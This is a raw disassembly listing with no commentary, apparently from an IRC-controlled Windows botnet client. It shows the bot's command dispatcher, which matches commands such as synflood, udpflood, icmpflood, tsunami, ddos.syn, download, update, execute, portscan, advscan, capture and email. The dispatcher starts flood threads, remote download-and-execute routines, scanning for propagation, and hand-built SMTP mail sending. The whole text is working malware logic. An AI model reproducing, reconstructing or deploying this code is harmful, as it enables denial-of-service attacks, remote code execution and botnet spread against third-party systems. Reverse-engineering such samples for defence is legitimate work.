		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41A1E4
		add	esp, 10h
		test	eax, eax
		jz	short loc_406513
		push	offset unk_4432D0
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_406513:				; CODE XREF: sub_401CC7+4840j
		push	offset unk_4432F0
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_40651D:				; CODE XREF: sub_401CC7+47ADj
		push	edi		; Str2
		push	offset aSend_0	; "send"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40655F
		cmp	[ebp+arg_18], ebx
		jz	short loc_406555
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		push	[ebp+Src]	; Source
		call	sub_41A498
		add	esp, 10h
		push	eax
		push	offset aS_13	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_406555:				; CODE XREF: sub_401CC7+486Aj
		push	offset unk_44331C
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_40655F:				; CODE XREF: sub_401CC7+4865j
		push	offset unk_443340
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_406569:				; CODE XREF: sub_401CC7+45DBj
		push	[ebp+arg_8]	; Str2
		push	offset aCapture	; "capture"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40914B
		push	[ebp+arg_8]	; Str2
		push	offset aCap	; "cap"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40914B
		push	[ebp+arg_8]	; Str2
		push	offset aGethost	; "gethost"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40905D
		push	[ebp+arg_8]	; Str2
		push	offset aGh	; "gh"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40905D

loc_4065C5:				; CODE XREF: sub_401CC7+3CEAj
					; sub_401CC7+3D20j ...
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_402166
		push	[ebp+arg_8]	; Str2
		push	offset aKilllog	; "killlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409040
		push	[ebp+arg_8]	; Str2
		push	offset aKl	; "kl"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409040
		push	[ebp+arg_8]	; Str2
		push	offset aAddalias ; "addalias"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40900E
		push	[ebp+arg_8]	; Str2
		push	offset aAa	; "aa"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40900E
		push	[ebp+arg_8]	; Str2
		push	offset aPrivmsg_1 ; "privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FBD
		push	[ebp+arg_8]	; Str2
		push	offset aPm	; "pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FBD
		push	[ebp+arg_8]	; Str2
		push	offset aAction	; "action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F54
		push	[ebp+arg_8]	; Str2
		push	offset aA	; "a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F54
		push	[ebp+arg_8]	; Str2
		push	offset aCycle	; "cycle"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EEE
		push	[ebp+arg_8]	; Str2
		push	offset aCy	; "cy"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EEE
		push	[ebp+arg_8]	; Str2
		push	offset aMode_0	; "mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EB4
		push	[ebp+arg_8]	; Str2
		push	offset aM	; "m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EB4
		push	[ebp+arg_8]	; Str2
		push	offset aC_raw	; "c_raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E46
		push	[ebp+arg_8]	; Str2
		push	offset aC_r	; "c_r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E46
		push	[ebp+arg_8]	; Str2
		push	offset aC_mode	; "c_mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DC1
		push	[ebp+arg_8]	; Str2
		push	offset aC_m	; "c_m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DC1
		push	[ebp+arg_8]	; Str2
		push	offset aC_nick	; "c_nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D50
		push	[ebp+arg_8]	; Str2
		push	offset aC_n	; "c_n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D50
		push	[ebp+arg_8]	; Str2
		push	offset aC_join	; "c_join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D04
		push	[ebp+arg_8]	; Str2
		push	offset aC_j	; "c_j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D04
		push	[ebp+arg_8]	; Str2
		push	offset aC_part	; "c_part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CA4
		push	[ebp+arg_8]	; Str2
		push	offset aC_p	; "c_p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CA4
		push	[ebp+arg_8]	; Str2
		push	offset aTarga3	; "targa3"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BA9
		push	[ebp+arg_8]	; Str2
		push	offset aT3	; "t3"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BA9
		push	[ebp+arg_8]	; Str2
		push	offset aTsunami	; "tsunami"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AD4
		push	[ebp+arg_8]	; Str2
		push	offset aTsn	; "tsn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AD4
		push	[ebp+arg_8]	; Str2
		push	offset aRepeat	; "repeat"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089CF
		push	[ebp+arg_8]	; Str2
		push	offset aRp	; "rp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089CF
		push	[ebp+arg_8]	; Str2
		push	offset aDelay	; "delay"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408932
		push	[ebp+arg_8]	; Str2
		push	offset aDe	; "de"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408932
		push	[ebp+arg_8]	; Str2
		push	offset aUpdate	; "update"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A3
		push	[ebp+arg_8]	; Str2
		push	offset aUp_0	; "up"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A3
		push	[ebp+arg_8]	; Str2
		push	offset aExecute	; "execute"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408710
		push	[ebp+arg_8]	; Str2
		push	offset aE	; "e"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408710
		push	[ebp+arg_8]	; Str2
		push	offset aFindfile ; "findfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408601
		push	[ebp+arg_8]	; Str2
		push	offset aFf	; "ff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408601
		push	[ebp+arg_8]	; Str2
		push	offset aRename	; "rename"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40858A
		push	[ebp+arg_8]	; Str2
		push	offset aMv	; "mv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40858A
		push	[ebp+arg_8]	; Str2
		push	offset aIcmpflood ; "icmpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40848D
		push	[ebp+arg_8]	; Str2
		push	offset aIcmp	; "icmp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40848D
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	loc_402166
		push	[ebp+arg_8]	; Str2
		push	offset aClone_0	; "clone"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083A5
		push	[ebp+arg_8]	; Str2
		push	offset aC	; "c"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083A5
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_syn ; "ddos.syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082AC
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_ack ; "ddos.ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082AC
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_random ; "ddos.random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082AC
		push	[ebp+arg_8]	; Str2
		push	offset aWisdom_udp ; "wisdom.udp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406AD8
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_31FC]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_317C]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_30FC]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	13h		; int
		push	eax		; Source
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B78E
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset sub_415187
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_406AC7

loc_406AB1:				; CODE XREF: sub_401CC7+4DFEj
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403F5A
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_406AB1
; ---------------------------------------------------------------------------

loc_406AC7:				; CODE XREF: sub_401CC7+4DE8j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443D8C
		jmp	loc_403F4B
; ---------------------------------------------------------------------------

loc_406AD8:				; CODE XREF: sub_401CC7+4D3Ej
		push	[ebp+arg_8]	; Str2
		push	offset aSynflood ; "synflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C4
		push	[ebp+arg_8]	; Str2
		push	offset aSyn	; "syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C4
		push	[ebp+arg_8]	; Str2
		push	offset aSkysyn	; "skysyn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C05
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3624]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_35A4]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3524]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_18]
		mov	[ebp+var_36A8],	esi
		push	edi
		push	offset asc_443E4C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	10h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset sub_4140DF
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_406BF4

loc_406BDE:				; CODE XREF: sub_401CC7+4F2Bj
		cmp	[ebp+var_3498],	ebx
		jnz	loc_4075C0
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_406BDE
; ---------------------------------------------------------------------------

loc_406BF4:				; CODE XREF: sub_401CC7+4F15j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443E7C
		jmp	loc_4075B1
; ---------------------------------------------------------------------------

loc_406C05:				; CODE XREF: sub_401CC7+4E50j
		push	[ebp+arg_8]	; Str2
		push	offset aPhatwonk ; "phatwonk"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DC
		push	[ebp+arg_8]	; Str2
		push	offset aWonk	; "wonk"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DC
		push	[ebp+arg_8]	; Str2
		push	offset aDownload ; "download"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F9E
		push	[ebp+arg_8]	; Str2
		push	offset aDl	; "dl"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F9E
		push	[ebp+arg_8]	; Str2
		push	offset aRedirect ; "redirect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EA1
		push	[ebp+arg_8]	; Str2
		push	offset aRd	; "rd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EA1
		push	[ebp+arg_8]	; Str2
		push	offset aScan_2	; "scan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DAE
		push	[ebp+arg_8]	; Str2
		push	offset aSc	; "sc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DAE
		push	[ebp+arg_8]	; Str2
		push	offset aC_privmsg ; "c_privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB1
		push	[ebp+arg_8]	; Str2
		push	offset aC_pm	; "c_pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB1
		push	[ebp+arg_8]	; Str2
		push	offset aC_action ; "c_action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BC1
		push	[ebp+arg_8]	; Str2
		push	offset aC_a	; "c_a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BC1
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	loc_402166
		push	[ebp+arg_8]	; Str2
		push	offset aPortscan ; "portscan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407ABB
		push	[ebp+arg_8]	; Str2
		push	offset aPsc	; "psc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407ABB
		push	[ebp+arg_8]	; Str2
		push	offset aAdvscan	; "advscan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4075E0
		push	[ebp+arg_8]	; Str2
		push	offset aAsc	; "asc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4075E0
		push	[ebp+arg_8]	; Str2
		push	offset aUdpflood ; "udpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407497
		push	[ebp+arg_8]	; Str2
		push	offset aUdp	; "udp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407497
		push	[ebp+arg_8]	; Str2
		push	offset aU	; "u"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407497
		push	[ebp+arg_8]	; Str2
		push	offset aNetsend	; "netsend"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407389
		push	[ebp+arg_8]	; Str2
		push	offset aNs	; "ns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407389
		push	[ebp+arg_8]	; Str2
		push	offset aPingflood ; "pingflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40725F
		push	[ebp+arg_8]	; Str2
		push	offset aPing_0	; "ping"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40725F
		push	[ebp+arg_8]	; Str2
		push	offset aP	; "p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40725F
		push	[ebp+arg_8]	; Str2
		push	offset aVnchost	; "vnchost"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406E84
		push	edi
		call	sub_41C5F5
		pop	ecx
		lea	eax, [ebp+Dst]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_402166
		push	ebx
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4042DD
; ---------------------------------------------------------------------------

loc_406E84:				; CODE XREF: sub_401CC7+5186j
		push	[ebp+arg_8]	; Str2
		push	offset aTcpflood ; "tcpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B8
		push	[ebp+arg_8]	; Str2
		push	offset aTcp	; "tcp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B8
		push	[ebp+arg_8]	; Str2
		push	offset aEmail	; "email"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407060
		lea	eax, [ebp+var_47EC]
		push	edi		; Source
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_18]	; Str
		call	_atoi
		push	[ebp+Src]	; Source
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_4188]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_1C]	; Source
		lea	eax, [ebp+var_4588]
		push	eax		; Dest
		call	_strcpy
		push	offset asc_44467C ; " "
		push	offset a__1	; "_"
		push	[ebp+esi+var_7C] ; Src
		call	sub_418C3F
		push	eax		; Source
		lea	eax, [ebp+var_4288]
		push	eax		; Dest
		call	_strcpy
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4E4190	; WSAStartup
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4E42A4	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4E42A0	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4E4220	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4E4238	; recv
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4E4270	; send
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4E4238	; recv
		push	esi
		call	dword_4E42B8	; closesocket
		call	dword_4E4178	; WSACleanup
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset asc_4446D0 ; "-"

loc_407019:				; CODE XREF: sub_401CC7+2E8Bj
					; sub_401CC7+464Bj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf

loc_407025:				; CODE XREF: sub_401CC7+244Bj
		add	esp, 0Ch

loc_407028:				; CODE XREF: sub_401CC7+45FEj
					; sub_401CC7+67A5j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_407049
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_407049:				; CODE XREF: sub_401CC7+29A7j
					; sub_401CC7+29FAj ...
		mov	esi, [ebp+File]

loc_40704C:				; CODE XREF: sub_401CC7+6A44j
					; sub_401CC7+7A36j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		pop	ecx
		mov	eax, esi
		jmp	loc_402169
; ---------------------------------------------------------------------------

loc_407060:				; CODE XREF: sub_401CC7+51FCj
		push	[ebp+arg_8]	; Str2
		push	offset aHttpcon	; "httpcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40708A
		push	[ebp+arg_8]	; Str2
		push	offset aHcon	; "hcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407632

loc_40708A:				; CODE XREF: sub_401CC7+53AAj
		push	[ebp+esi+var_7C] ; int
		push	[ebp+arg_1C]	; int
		push	[ebp+Src]	; int
		push	[ebp+arg_18]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	edi		; int
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_410B94
		jmp	loc_404299
; ---------------------------------------------------------------------------

loc_4070B8:				; CODE XREF: sub_401CC7+51CEj
					; sub_401CC7+51E5j
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+var_1354]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aSyn_0	; "syn"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40711B
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aAck	; "ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40711B
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aRandom_0 ; "random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40711B
		push	offset unk_444648
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_40711B:				; CODE XREF: sub_401CC7+541Aj
					; sub_401CC7+5431j ...
		push	[ebp+arg_1C]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_407247
		push	edi		; Format
		lea	eax, [ebp+var_1354]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	[ebp+arg_18]	; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Src]	; Str
		call	_atoi
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_4071B8
		mov	eax, offset aNormal ; "Normal"

loc_4071B8:				; CODE XREF: sub_401CC7+54EAj
		push	[ebp+arg_1C]
		push	[ebp+Src]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset asc_4445A4 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	14h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset sub_4148EE
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_407236

loc_407220:				; CODE XREF: sub_401CC7+556Dj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_407220
; ---------------------------------------------------------------------------

loc_407236:				; CODE XREF: sub_401CC7+5557j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4445D8
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_407247:				; CODE XREF: sub_401CC7+5465j
		push	offset asc_444610 ; "-"

loc_40724C:				; CODE XREF: sub_401CC7+1FD8j
					; sub_401CC7+1FEEj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_4085D7
; ---------------------------------------------------------------------------

loc_40725F:				; CODE XREF: sub_401CC7+5141j
					; sub_401CC7+5158j ...
		cmp	dword_4E4310, ebx
		jnz	loc_40736E
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+arg_18]	; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_100C],	eax
		call	_atoi
		push	[ebp+arg_1C]	; Str
		mov	[ebp+var_1008],	eax
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_1004],	eax
		push	[ebp+Format]	; Source
		lea	eax, [ebp+var_110C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_100C]
		push	offset asc_4444B4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	16h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset sub_413D3D
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40735D

loc_407347:				; CODE XREF: sub_401CC7+5694j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_407347
; ---------------------------------------------------------------------------

loc_40735D:				; CODE XREF: sub_401CC7+567Ej
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4444FC
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_40736E:				; CODE XREF: sub_401CC7+559Ej
		push	1FFh		; Count
		lea	eax, [ebp+Dst]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax		; Dest
		call	_strncpy
		jmp	loc_4085D4
; ---------------------------------------------------------------------------

loc_407389:				; CODE XREF: sub_401CC7+5113j
					; sub_401CC7+512Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+Dst]
		push	edi
		push	[ebp+Src]
		push	offset asc_4443C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		push	[ebp+Src]	; Str
		call	_strlen
		push	[ebp+arg_18]	; Str
		mov	edi, eax
		call	_strlen
